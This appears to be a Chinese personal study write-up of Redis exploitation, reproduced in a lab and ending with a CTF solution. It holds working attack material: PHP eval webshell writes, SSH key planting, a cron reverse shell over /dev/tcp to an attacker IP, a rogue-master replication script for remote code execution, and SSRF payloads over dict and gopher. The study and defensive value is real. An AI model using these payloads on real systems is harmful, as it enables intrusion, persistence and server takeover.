紙上得來終覺淺——Redis 個人總結
提及 Redis 自然是耳熟能詳,說起 Redis 的漏洞的話,未授權訪問漏洞、主從復制漏洞等也是張口就來,缺乏實際操作的情況下,終究只是紙上談兵,所以打算對 Redis 進行一個全面的總結。
Redis簡介
直接抄取百度百科上的一段話 “Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。從2010年3月15日起,Redis的開發工作由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。”redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set —有序集合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。
我對 Redis 的認知就是 — 這是一個數據庫,默認端口是6379,擁有很多漏洞。
Redis安裝
Linux 編譯安裝,安裝后僅能在安裝目錄下運行
wget https://download.redis.io/releases/redis-6.2.5.tar.gztar xzf redis-6.2.5.tar.gzcd redis-6.2.5make# 啟動 redis 服務,可以指定配置文件啟動(若不指定則以默認的配置文件啟動)cd src./redis-server# 啟動 redis 客戶端./redis-cli
Ubuntu apt 命令安裝
sudo apt updatesudo apt install redis-serverredis-serverredis-cli
Windows 安裝
https://github.com/MicrosoftArchive/redis/releases下載 Redis-x64-3.0.504.zip 并解壓redis-server.exe redis.windows.conf
Redis命令
Redis 也是分為服務端和客戶端的,服務端上執行的是客戶端發送過來的命令(感覺好像一句廢話)。Redis 在安裝完成之后會有 redis-cli
redis-cli -h host # 免密登錄redis-cli -h host -p port -a password # 使用 Redis 密碼登錄 Redis 服務# 與 Redis 服務連接成功后,執行 PING 命令,如果服務器運作正常的話,會返回一個 PONG
Redis語法
Redis 鍵命令的基本語法為:COMMAND KEY_NAME
使用 * 可以獲取所有配置項(GET 、 KEYS)
使用 SET 和 GET 命令,可以完成基本的賦值和取值操作;
Redis 不區分命令的大小寫,set 和 SET 是同一個意思;
如果鍵的值中有空格,需要使用雙引號括起來;
SET key "Hello World" # 設置鍵 key 的值為字符串 Hello WorldGET key # 獲取鍵 key 的值,如果 key 不存在,返回 nil 。如果key 儲存的值不是字符串類型,返回一個錯誤DEL key # 刪除鍵 keyKEYS * # 獲取 redis 中所有的 key,Keys 命令用于查找所有符合給定模式 pattern 的 keySAVE # 用于創建當前數據庫的備份,在 redis 安裝目錄中創建dump.rdb文件CONFIG GET requirepass # 用于獲取 redis 服務的配置參數,通過 CONFIG 命令查看或設置配置項CONFIG REWRITE requirepass "123456" # 對 redis.conf 配置文件進行改寫,重啟后才會被修改CONFIG SET requirepass "123456" # 動態地調整 Redis 服務器的配置(configuration)而無須重啟Flushall # 用于清空整個 Redis 服務器的數據(刪除所有數據庫的所有 key)SELECT index # Redis Select 命令用于切換到指定的數據庫,數據庫索引號 index 用數字值指定,以 0 作為起始索引值。
Redis配置文件
Redis 的配置文件位于 Redis 安裝目錄下,文件名為 redis.conf(Windows 名為 redis.windows.conf)。當然也可以通過指定配置文件來進行啟動。列舉一些重要的配置項進行說明。
配置項說明port 6379指定 Redis 監聽端口,默認端口為 6379bind 127.0.0.1綁定的主機地址,格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如 bind 192.168.1.100 10.0.0.1,表示同時綁定在192.168.1.100和10.0.0.1兩個IP地址上。如果沒有指定bind參數,則綁定在本機的所有IP地址上。save 格式為 save <秒數> <變化數>,表示在指定的秒數內數據庫存在指定的改變數時自動進行備份也就是指定在多長時間內,有多少次更新操作,就將數據同步到數據文件,可以多個條件配合dbfilename dump.rdb指定本地數據庫文件名,默認值為 dump.rdbdir ./指定本地數據庫存放目錄,指明 Redis 的工作目錄為設定的目錄,Redis 產生的備份文件將放在這個目錄下requirepass foobared設置 Redis 連接密碼,如果配置了連接密碼,客戶端在連接 Redis 時需要通過 AUTH 命令提供密碼,默認關閉protected-moderedis3.2 版本后新增 protected-mode 配置,默認是 yes ,用于設置外部網絡連接 redis 服務。關閉 protected-mode 模式,此時外部網絡可以直接訪問。開啟 protected-mode 保護模式,需配置 bind ip 或者設置訪問密碼。
Redis漏洞利用
前置條件

注意到 3.2.0 版本后 redis.conf 配置文件中兩個比較重要的參數 bind 以及 protected-mode
經過驗證,唯有以下情況可以滿足未授權訪問 Redis
- 未開啟登錄認證(即沒有配置登錄密碼,默認即可滿足),將 redis 綁定到了0.0.0.0(設置bind 參數為 0.0.0.0)
- 未開啟登錄認證(即沒有配置登錄密碼,默認即可滿足),未綁定 redis 到任何地址(將 bind 參數注釋掉),關閉保護模式(設置 protected-mode 的參數為no)
利用 Redis 寫入webshell
Redis 存在未授權訪問的情況下,也開啟了 web 服務,知道 web 目錄的路徑,具有文件讀寫權限,就可以通過 redis 在指定的 web 目錄下寫入shell文件。
# 安裝 php 服務sudo add-apt-repository ppa:ondrej/phpsudo apt-get updatesudo apt-get upgradesudo apt-get install php5.6# 安裝開啟 apache 服務sudo apt install apache2service apache2 start

config set dir /var/www/html/ config set dbfilename shell.phpset xxx " eval($_REQUEST[cmd]);?>" # set xxx "\r\r eval($_REQUEST['cmd']);?>\r\r" #\r\r 代表換行的意思,用redis寫入文件的會自帶一些版本信息,如果不換行可能會導致無法執行save

寫入之后查看/var/www/html/目錄下的shell.php文件內容

可以通過蟻劍直接連接,很奇怪的是無法直接在頁面上執行

寫 ssh-keygen 公鑰登錄服務器
Redis 存在未授權訪問的情況下,開啟了 ssh 服務,在數據庫中插入一條數據,將本機的公鑰作為 value,key 值隨意,然后可以通過修改數據庫的保存路徑為 /root/.ssh 和保存文件名為 authorized.keys ,備份數據庫之后就可以在服務器端的 /root/.ssh 下生成一個key。
# 安裝 openssh 服務sudo apt-get install openssh-server# 啟動 ssh 服務sudo /etc/init.d/ssh start# 配置 root 用戶連接權限sudo vim /etc/ssh/sshd_configPermitRootLogin yes# 設置允許通過免密登錄AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2# 重啟 ssh 服務sudo /etc/init.d/ssh restart ssh-keygen -t rsacat /home/root/.ssh/id_rsa.pub

可以像寫 webshell 一樣將文件寫入
config set dir /root/.ssh/config set dbfilename authorized_keysset xxx "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjUxxZ6e/DvN5QDim8ioSIJ9tK+fugqFLcgHckaYrqPGERMlUvQOnxbl9s87uGf1FslRX4fySoC81p0C1EC1mNzj7C7ozJpcu+5HsIV12jqh9Cl98TALXmOTepvC74SaFgyzL0tQui90gAWiTgUq155OgonBhmUW+xsuJ3B3K6/Bh+dbMwI5F9NdBbynRDJcf25lp6YHp7XUy0yUYJGR1v62epkZTWjrhbDBXK609CSsg//r02P7n3mehvTtaHKZZQQL5VdAVh6fT3udsR+Mr2Ar9oZz2Rhr+S8p4scEjiUjcF3Leddooh3uGlaBowJtyInImMDP/TP4t57aeD8Pr root@root" save
為了方便操作也可以采用這種方法
(echo -e ""; cat /home/root/.ssh/id_rsa.pub; echo -e "") > key.txtcat key.txt | redis-cli -h 192.168.10.128 -x set xxxredis-cli -h 192.168.10.128 > config set dir /root/.ssh/ > config set dbfilename authorized_keys > savessh -i /home/root/.ssh/id_rsa root@192.168.10.128

第一次設置的時候會報錯 (error) ERR Changing directory: No such file or directory 是靶機上并不存在這個目錄,原因是 .ssh 是記錄密碼信息的文件夾,如果 root 用戶沒有登錄過的話,就沒有 .ssh 文件夾,所以我們可以通過這條命令 ssh localhost 或者手動創建 .ssh 目錄。


利用計劃任務反彈shell
Centos
在 Centos 上安裝完成 redis 后要記得關閉防火墻 service firewalld stop 否則即使能 ping 通,redis 也無法連接。
config set dir /var/spool/cron/ config set dbfilename rootset xxx "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.1/9999 0>&1"save
連接靶機 Redis,寫入反彈 shell 的計劃任務:

查看靶機上的計劃任務

開啟監聽,獲得反彈回來的 shell

Ubuntu
看了這篇文章 解決ubuntu crontab反彈shell失敗的問題 仔細分析了一下,發現復現研究意義不大,因為還需要去修改權限,不可能存在這樣的場景,但是作者分析解決的思路還是很值得學習的。
總結
這個方法只能在 Centos 上使用,Ubuntu 上行不通,原因如下:
+ 因為默認 redis 寫文件后是 644 權限,但是 Ubuntu 要求執行定時任務文件 `/var/spool/cron/crontabs/` 權限必須是 600 才會執行,否則會報錯 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定時任務文件 `/var/spool/cron/` 權限 644 也可以執行 + 因為 redis 保存 RDB 會存在亂碼,在 Ubuntu 上會報錯,而在 Centos 上不會報錯。
由于系統的不同,crontrab 定時文件位置也不同:
+ Centos 的定時任務文件在 `/var/spool/cron/` + Ubuntu 的定時任務文件在 `/var/spool/cron/crontabs/`
利用主從復制獲取shell
Redis是一個使用ANSI C編寫的開源、支持網絡、基于內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯并加載惡意的.so文件,達到代碼執行的目的。
Linux
在本機上弄的時候出現各種各樣的奇葩的問題,給我整破防了,最后我采用了 docker 來進行復現。復現不同的利用都刪掉 docker ,重啟繼續進行。最后發現主從復制的利用版本是 4.x-5.x,從 6.0開始,就無法利用成功,寫入exp.so 也是可以的,module 加載時會失敗,提示沒有權限,給 exp.so 權限后時可以的。
sudo docker pull vertigo/redis4sudo docker run -p 6379:6379 vertigo/redis4
redis-rce
redis-rce
生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.gitcd RedisModules-ExecuteCommand/make# 生成 /RedisModules-ExecuteCommand/src/module.socd ..git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txtpython redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
redis-rogue-server
redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
Redis主從復制手動擋
import socketfrom time import sleepfrom optparse import OptionParser
def RogueServer(lport): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0",lport)) sock.listen(10) conn,address = sock.accept() sleep(5) while True: data = conn.recv(1024) if "PING" in data: resp="+PONG"+CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK"+CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type(resp) != bytes: resp =resp.encode() conn.send(resp) #elif "exit" in data: break
if __name__=="__main__":
parser = OptionParser() parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT") parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp
CLRF="\r" payload=open(exp_filename,"rb").read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)

redis-cli -h 192.168.10.187> ping> config set dir ./ # 設置redis的備份路徑為當前目錄> config set dbfilename exp.so # 設置備份文件名為exp.so,默認為dump.rdb> slaveof 192.168.10.1 9999 # 設置主服務器IP和端口> module load ./exp.so # 加載惡意模塊> slaveof no one # 切斷主從,關閉復制功能> system.exec 'whoami' # 執行系統命令> config set dbfilename dump.rdb # 通過dump.rdb文件恢復數據> system.exec 'rm ./exp.so' # 刪除exp.so> module unload system # 卸載system模塊的加載
windows
Redis 官方沒有提供 windows 版的安裝包,windows 下使用的 Redis 還是 3.X 版本的。redis 在寫文件的時候會有一些版本信息以及臟數據,無法寫出正常的DLL、EXE、LINK 等文件,所以 對 Windows 下的 redis 的利用方法主要是往 web 目錄寫馬以及寫啟動項。
RedisWriteFile
RedisWriteFile 利用Redis的主從同步寫數據,腳本將自己模擬為master,設置對端為slave, master 數據空間保證絕對干凈,輕松實現了寫無損文件。
參考文章 對 Redis 在 Windows 下的利用方式思考 踩坑記錄-Redis(Windows)的getshell可以利用以下方式
- 系統 DLL劫持 (目標重啟或注銷)
- 針對特定軟件的 DLL 劫持(目標一次點擊)
- 覆寫目標的快捷方式 (目標一次點擊)
- 覆寫特定軟件的配置文件達到提權目的 (目標無需點擊或一次點擊)
- 覆寫 sethc.exe 等文件 (攻擊方一次觸發)
- mof 等
因為對這些暫時還沒有研究,所以在這里只演示以下,在 windows redis 寫無損文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename] python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"

哇,這個無損寫文件真是 yyds,在 linux 下利用也是沒有一點問題。
Redis漏洞在ssrf中的利用
dict 協議
dict://serverip:port/命令:參數
獲取信息 curl dict://192.168.10.187:6379/info

curl dict://192.168.10.187:6379curl dict://192.168.10.187:6379/config:set:dir:./ curl dict://192.168.10.187:6379/config:set:dbfilename:exp.so # 設置保存文件名curl dict://192.168.10.187:6379/slaveof:192.168.10.1:9090 # 連接遠程主服務器curl dict://192.168.10.187:6379/module:load:./exp.so # 加載惡意模塊curl dict://192.168.10.187:6379/slaveof:no:one # 切斷主從,關閉復制功能curl dict://192.168.10.187:6379/config:set:dbfilename:dump.rdb # 通過dump.rdb文件恢復數據curl dict://192.168.10.187:6379/system.exec:'whoami' # 執行系統命令curl dict://192.168.10.187:6379/system.exec:rm:'./exp.so' # 刪除exp.socurl dict://192.168.10.187:6379/module:unload:system # 卸載system模塊的加載
成功會有一定的概率性問題,我在嘗試的時候無法達到百分百的成功。
gopher 協議

可以利用 goherus.py 來實現
git clone https://github.com/tarunkant/Gopherus.gitpython gopherus.py --exploit redis

import urllibprotocol="gopher://"ip="192.168.43.82"port="6379"shell=""filename="shell.php"path="/var/www/html"passwd="" # 此處也可以填入Redis的密碼, 在不存在Redis未授權的情況下適用cmd=["flushall", # 實際利用不要用 flushall,會清空整個 Redis 服務器的數據 "set 1 {}".format(shell.replace(" ","${IFS}")), # 可以用 select 1 來切換數據庫 "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
上面的腳本是寫入 webshell 的,如果想利用 ssh-keygen 或者 計劃任務只需要簡單的修改腳本即可
分享一道前段時間天翼杯中涉及到 Redis 的題目
easy_eval
class A{ public $code = ""; function __call($method,$args){ eval($this->code);
} function __wakeup(){ $this->code = ""; } }
class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); }
}else{ highlight_file(__FILE__); }

我們注意到反序列化時有 __wakeup 方法,在反序列化時,unserialize() 會檢查是否存在__wakeup 方法,如果存在則會先調用,所以我們要想辦法進行繞過
當成員屬性數目大于實際數目時可以繞過 wakeup 方法
刪除掉序列化數據的最后一個 } 或者在 最后兩個 } 中間加上 ; 原理
但是獲取參數 poc 后會進行正則的判斷
preg_match_all(‘/“[BA]”:(.*?):/s’,$_REQUEST[‘poc’],$ret);
獲取的就是類 A 以及類 B 的成員屬性的數目。
普通構造反序列化 payload
class A{ public $code = ""; public function __construct(){ $this->code = 'eval($_POST[cmd]);'; } function __wakeup(){ $this->code = ""; }}
class B{ public function __construct(){ $this->a = new A(); }}$s = serialize(new B);
echo $s ;
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}}
雖然繞過了正則匹配,但是沒有繞過 __wakeup

修改 class A 的成員屬性數目
O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:18:"eval($_POST[cmd]);";}}
雖然可以繞過__wakeup,但是會被正則匹配攔截

利用 PHP 對類名大小寫不敏感繞過正則
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

完美,但是我猜測出題人并不想考察這個知識點,而是一種新的 __wakeup 的繞過思路
刪除生成序列化數據的最后一個
} O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}

因為 disable_function 禁用了大部分的命令執行函數,所以直接通過蟻劍鏈接

發現無法命令執行,所以進行端口的掃描


發現開放了6379 redis 端口,尋找其中的配置文件

找到 redis 的賬號和密碼進行連接


/var/www/html 的目錄是不可寫的,但是利用 Redis 可以直接寫文件到該目錄下


但是此處再寫進去一個shell 也沒什么用,是需要利用到 Redis 的主從復制漏洞來實現 RCE
忘記截圖了::happy: 具體操作是利用主從復制拷貝惡意so 文件 可參考


當然 tmp 目錄有可寫權限,直接將 so 文件上傳到該目錄下執行也可。